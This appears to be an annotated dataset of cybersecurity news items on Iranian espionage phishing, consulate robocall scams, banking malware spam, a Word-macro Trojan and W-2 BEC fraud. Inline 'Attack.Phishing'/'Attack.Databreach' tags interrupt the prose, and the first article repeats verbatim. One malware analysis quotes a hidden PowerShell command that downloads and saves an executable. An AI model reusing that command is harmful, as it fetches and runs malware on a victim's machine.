Hacker group “ Charming Kitten ” used false identities to ferret out information , says Israel-based cybersecurity firm ClearSky An Iranian cyber espionage group known as Charming Kitten is believed to be behind a campaign targeting academic researchers , human rights activists , media outlets and political advisors focusing on Iran , according to a report published earlier this week by Israel-based threat intelligence company ClearSky Cyber Security . The group has also set up Attack.Phishing a news outlet called The British News Agency to lure Attack.Phishing targets in . Most of the group 's targets are in Iran , the U.S. , Israel and the U.K. , the report said , but some come from countries including France , Germany , Switzerland , Denmark , India , Turkey and the United Arab Emirates . The report detailed the various methods used to gain access Attack.Databreach to computers and private social accounts . Those include false identities , the impersonation Attack.Phishing of real companies , the insertion of malicious code into a breached website , also known as `` watering hole attacks , '' and spear phishing Attack.Phishing , the process of pretending to be Attack.Phishing service providers like Gmail or Facebook to trick Attack.Phishing people into giving out personal information . A significant mainstay of the group 's activity was the establishment of a media outlet called The British News Agency . Much effort went into creating Attack.Phishing a seemingly legitimate website , including details about the agency and a contact list of the management team . The purpose of the site was to attract Attack.Phishing the targets and infect them with malware . According to the report , multiple Israeli researchers of Iran and the Middle East were sent Attack.Phishing emails and Twitter direct messages from accounts registered with seemingly Jewish Israeli names . Messages coming from Attack.Phishing one such account were presented as if coming from Attack.Phishing a journalist and political researcher at KNBC News . Other messages were presented as if coming from Attack.Phishing an Israeli political researcher raised in California who needed help with an article and also wanted to apply for a position at an Israeli university . Another message was described as coming from Attack.Phishing a Jewish girl living in Iran . These messages often linked to phishing pages . ClearSky can not estimate how many accounts were successfully infiltrated , but the success rate for such attacks is usually around 10 % , said Mr. Dolev .

Hacker group “ Charming Kitten ” used false identities to ferret out information , says Israel-based cybersecurity firm ClearSky An Iranian cyber espionage group known as Charming Kitten is believed to be behind a campaign targeting academic researchers , human rights activists , media outlets and political advisors focusing on Iran , according to a report published earlier this week by Israel-based threat intelligence company ClearSky Cyber Security . The group has also set up Attack.Phishing a news outlet called The British News Agency to lure Attack.Phishing targets in . Most of the group 's targets are in Iran , the U.S. , Israel and the U.K. , the report said , but some come from countries including France , Germany , Switzerland , Denmark , India , Turkey and the United Arab Emirates . The report detailed the various methods used to gain access Attack.Databreach to computers and private social accounts . Those include false identities , the impersonation Attack.Phishing of real companies , the insertion of malicious code into a breached website , also known as `` watering hole attacks , '' and spear phishing Attack.Phishing , the process of pretending to be Attack.Phishing service providers like Gmail or Facebook to trick Attack.Phishing people into giving out personal information . A significant mainstay of the group 's activity was the establishment of a media outlet called The British News Agency . Much effort went into creating Attack.Phishing a seemingly legitimate website , including details about the agency and a contact list of the management team . The purpose of the site was to attract Attack.Phishing the targets and infect them with malware . According to the report , multiple Israeli researchers of Iran and the Middle East were sent Attack.Phishing emails and Twitter direct messages from accounts registered with seemingly Jewish Israeli names . Messages coming from Attack.Phishing one such account were presented as if coming from Attack.Phishing a journalist and political researcher at KNBC News . Other messages were presented as if coming from Attack.Phishing an Israeli political researcher raised in California who needed help with an article and also wanted to apply for a position at an Israeli university . Another message was described as coming from Attack.Phishing a Jewish girl living in Iran . These messages often linked to phishing pages . ClearSky can not estimate how many accounts were successfully infiltrated , but the success rate for such attacks is usually around 10 % , said Mr. Dolev .

Scammers are flooding the United States with Chinese-language robocalls , causing major headaches from coast to coast . These new robocalls are a lot like the ones you ’ ve already gotten on your phone at all hours of the day and night : Your phone rings , you pick up , and after a brief pause or maybe a quiet click or beep , a prerecorded voice message meets your ears . The recording , which often sounds like a young woman , usually delivers a message about lowering credit-card rates or buying into cheap health insurance . If you fall for the bait Attack.Phishing , you ’ re transferred to a live human who will try anything to get you to hand over your credit-card or bank account info . The important thing to remember is that sales robocalls are illegal in the United States . So , don ’ t expect the person on the other end of the line to follow through on whatever deal they claim to offer . You ’ re much more likely to fall victim to an identity theft scam or credit-card fraud than to score a deal from one of these spam callers . The new Chinese-language version of these calls targets immigrants . The robocalls deliver a recorded message claiming to be Attack.Phishing from the Chinese consulate , saying the recipient is in trouble with Chinese officials , or sometimes that a package is waiting at the Chinese consulate that needs to be picked up . Then , the robocall asks for a deposit or fee , demanding a credit-card number or bank information . Sometimes the robocall or live operator who follows it makes a threat , suggesting that more trouble will come if the person doesn ’ t willingly hand over their financial info , according to the Federal Trade Commission . In New York City alone , police estimate at least 30 residents had been scammed out of $ 3 million , according to National Public Radio . The Chinese Consulate General in New York says it has posted dozens of alerts on its website warning about the scams . `` We would like to restate that the Consulate General in New York would not ask for personal information , deliver parcel pick-up notice or ask people to answer inquiries from police department by way of phone calls . The Consulate General would not ask for bank account information , '' it warned . The scammers are also upping the ante with a tech trick Attack.Phishing called “ spoofing Attack.Phishing . ” Spoofed calls can fake Attack.Phishing caller ID numbers , making them look like Attack.Phishing they ’ re coming from Attack.Phishing a familiar number , nearby area code , your hometown or in this case , the Chinese consulate , according to the Federal Communications Commission , which also issued an alert . So , even if you do n't speak Chinese , why would you get so many calls ? The scammers don ’ t know who they ’ re calling , and it costs virtually nothing to place a phone call , so if they hit a few thousand English-speaking phones for every one Chinese speaker that ’ s totally fine with them . This scam uses many of the same ploys used on unsuspecting English speakers , say in the scam where the caller pretends to be Attack.Phishing from the IRS and is demanding payments on back taxes that don ’ t really exist .

Cyber crooks have come up with a new way to infect your computer with financial and banking malware . The process starts by randomly sending Attack.Phishing users spam emails disguised as Attack.Phishing a payment confirmation email from Delta Air . The choice to mask the email as coming from Attack.Phishing an airline wasn ’ t random , since many this time of year is when many consumers purchase flight tickets at discounted rates for the summer . However , no transaction actually took place ! The email is designed to scare Attack.Phishing you into thinking someone bought an airplane ticket using your identity . You then panic and click on one of the links in the email in order to figure out how someone could do an unauthorized purchase with your credentials . The links then redirect you to several compromised websites , which host Word documents infected with the Hancitor malware . Hancitor is a versatile malware frequently used in phishing attacks Attack.Phishing that specializes initially infecting a PC , and then acting as a bridge for further malware downloads . If you download the malicious Word document and open it , then Hancitor will activate and infect legitimate system processes in your PC using a PowerShell code . Afterwards , your PC will connect to one or more malicious Command and Control ( C & C ) servers . These C & C servers will then download additional malware on your PC , which belong to the Pony family . Pony malware is specifically designed to steal Attack.Databreach sensitive information such as passwords and usernames from VPNs , web browsers , FTP , messaging apps and many more . On top of that , the C & C servers also download and spread another Pony-based malware called Zloader . Unlike Pony , Zloader is a banking malware designed to clean up Attack.Databreach your bank account and steal Attack.Databreach financial information . Once the information harvesting Attack.Databreach is complete , the malware connects to another set of C & C servers and sends them all of your credentials and financial information .

Cyberthreats are a constant risk and affect public administrations significantly . So much so that they have become a powerful instrument of aggression against public entities and citizens . They can lead to a serious deterioration in the quality of service , and also , above all , to data leaks Attack.Databreach concerning everything from personal information to state secrets . The combination of new technologies and the increase in the complexity of attacks , as well as the professionalization of cybercriminals , is highly dangerous . Last December , a large-scale spam campaign spanning more than ten countries was carried out , and specifically targeted a major European ministry . The attack Attack.Phishing , via phishing Attack.Phishing , was highly advanced and combined social engineering tactics with a powerful Trojan . The attack Attack.Phishing is sent Attack.Phishing by email with an attached Word document . At first , we suspected that it was a targeted attack , since the message came , supposedly , from a healthcare company and the recipient was an employee of the Ministry of Health in a European country . The present analysis describes the technical features of the harmful code found in the macro of the Word document . The goal of the macro was to download and run another malicious component . Below are shown a few static properties of the analyzed files . The hash of the Word document is the following : MD5 : B480B7EFE5E822BD3C3C90D818502068 SHA1 : 861ae1beb98704f121e28e57b429972be0410930 According to the document ’ s metadata , the creation date was 2016-12-19 . The malicous code ’ s signature , downloaded by Word , is the following : MD5 : 3ea61e934c4fb7421087f10cacb14832 SHA1 : bffb40c2520e923c7174bbc52767b3b87f7364a9 The Word document gets to the victim ’ s computer by way of a spam email coming from Attack.Phishing a healthcare company . The text tricks Attack.Phishing the recipient into beleiving that the content is protected and needs to run the macro in order to gain access to it . According to the data recovered by Panda Security ’ s Collective Intelligence , this spam campaign took place on December 19 , 2016 and affected several countries . Interactions with the infected system The basic function of the macro consists in downloading and running another malicious code from a URL embedded in the macro itself . Also , the macro is designed to run immediately upon being opened . Part of the obfuscated code contained in the macro Once the macro is running , the Word doc runs the following command in the system : cmd.exe /c pOWeRsHELL.EXe -eXecUTIONpolICy BYPAss -noPrOfIlE -winDowsTyle hidDEN ( NeW-oBjECt sYstEm.NeT.webcLiENt ) .DOWNloAdFILE ( ‘ http : //xxxxxxxxxxxx.com/13obCpHRxA1t3rbMpzh7iy1awHVm1MzNTX.exe ’ , ’ C : \Users\ ? ? ? ? \AppData\Roaming.eXe ’ The system symbol ( cmd.exe ) runs the powershell with two embedded commands going through parameters : Thanks to the data obtained by the Intelligence Collective at Panda Security , we know that the last malicious code to be distributed by this campaign is a variant of the Dyreza family . Panda ’ s clients were protected proactively , without need of signatures or updates . The purpose of the malicious code is to steal Attack.Databreach credentials from browsers and add the compromised machine to bot network . It then waits for commands from the Command & Control Server . These commands come from the cybercriminals that operate it , and is able to download further new malware and carry out all kinds of malicious actions . Digitization in Public Administration leads to the exponential growth of the creation , storage and management of huge quantities of confidential data — data that does not allow for a single oversight

You may have heard of the CEO scam : that ’ s where spear-phishers impersonate Attack.Phishing a CEO to hit up a company for sensitive information . That ’ s what happened to Snapchat , when an email came in Attack.Phishing to its payroll department , masked as Attack.Phishing an email from CEO Evan Spiegel and asking for employee payroll information . Here ’ s a turn of that same type of screw : the Internal Revenue Service ( IRS ) last week sent out an urgent warning about a new tax season scam that wraps the CEO fraud in with a W-2 scam , then adds a dollop of wire fraud on top . A W-2 is a US federal tax form , issued by employers , that has a wealth of personal financial information , including taxpayer ID and how much an employee was paid in a year . This new and nasty dual-phishing scam Attack.Phishing has moved beyond the corporate world to target nonprofits such as school districts , healthcare organizations , chain restaurants , temporary staffing agencies and tribal organizations . As with earlier CEO spoofing scams Attack.Phishing , the crooks are doctoring emails to make the messages look like Attack.Phishing they ’ re coming from Attack.Phishing an organization ’ s executive . Sending Attack.Phishing the phishing messages to employees in payroll or human resources departments , the criminals request a list of all employees and their W-2 forms . The scam , sometimes referred to as business email compromise (BEC) Attack.Phishing or business email spoofing (BES) Attack.Phishing , first appeared last year . This year , it ’ s not only being sent to a broader set of intended victims ; it ’ s also being sent out earlier in the tax season than last year . In a new twist , this year ’ s spam scamwich also features a followup email from that “ executive ” , sent to Attack.Phishing payroll or the comptroller , asking for a wire transfer to a certain account . Some companies have been swindled twice : they ’ ve lost both employees ’ W-2s and thousands of dollars sent out via the wire transfers .